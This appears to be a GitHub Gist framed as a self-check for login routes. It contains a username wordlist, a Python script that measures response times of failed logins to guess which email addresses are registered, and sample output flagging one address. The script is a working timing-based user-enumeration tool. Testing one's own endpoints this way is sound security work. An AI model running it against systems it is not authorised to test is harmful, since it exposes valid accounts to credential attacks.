Last active
July 8, 2025 16:49
-
-
Save goabonga/2946db4892793ebb8bb24bf9fdfa5838 to your computer and use it in GitHub Desktop.
Is your login route vulnerable to user enumeration?
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| notest | |
| test | |
| admin | |
| john | |
| chris | |
| jane.doe | |
| support | |
| contact |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import httpx | |
| import time | |
| import statistics | |
| from typing import List, Tuple | |
| URL = "" # Replace with the actual URL of the login endpoint | |
| HEADERS = { | |
| } | |
| ATTEMPTS_PER_EMAIL = 5 | |
| PASSWORD = "invalid" | |
| THRESHOLD_DIFFERENCE = 0.05 | |
| DOMAIN = "goabonga.com" # Replace with the actual domain known to be a registered user | |
| def measure_latency(email: str, attempts: int = 5) -> Tuple[str, List[float]]: | |
| latencies = [] | |
| payload = {"email": email, "password": PASSWORD} | |
| with httpx.Client(timeout=10) as client: | |
| for _ in range(attempts): | |
| start = time.time() | |
| r = client.post(URL, headers=HEADERS, json=payload) | |
| end = time.time() | |
| latencies.append(end - start) | |
| return email, latencies | |
| def main() -> None: | |
| wordlist_path = "emails.txt" | |
| results: List[Tuple[str, float, float]] = [] | |
| print("[+] Starting timing-based enumeration...\n") | |
| with open(wordlist_path, "r", encoding="utf-8") as f: | |
| for line in f: | |
| user = line.strip() | |
| if not user: | |
| continue | |
| email = f"{user}@{DOMAIN}" | |
| email, latencies = measure_latency(email, ATTEMPTS_PER_EMAIL) | |
| avg = statistics.mean(latencies) | |
| std = statistics.stdev(latencies) | |
| results.append((email, avg, std)) | |
| global_median = statistics.median([r[1] for r in results]) | |
| print(f"\n{'Email':<35} {'AvgTime':<8} {'StdDev':<8} {'Status'}") | |
| print("-" * 80) | |
| for email, avg, std in results: | |
| is_suspect = avg > global_median + THRESHOLD_DIFFERENCE | |
| flag = "🔥 POSSIBLE" if is_suspect else "" | |
| print(f"{email:<35} {avg:.4f}s {std:.4f}s {flag}") | |
| if __name__ == "__main__": | |
| main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [+] Starting timing-based enumeration... | |
| Email AvgTime StdDev Status | |
| -------------------------------------------------------------------------------- | |
| notest@goabonga.com 0.0568s 0.0419s | |
| test@goabonga.com 0.0556s 0.0390s | |
| admin@goabonga.com 0.0555s 0.0410s | |
| john@goabonga.com 0.0566s 0.0404s | |
| chris@goabonga.com 0.1498s 0.0408s 🔥 POSSIBLE | |
| jane.doe@goabonga.com 0.0862s 0.0714s | |
| support@goabonga.com 0.0704s 0.0444s | |
| contact@goabonga.com 0.0610s 0.0443s |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment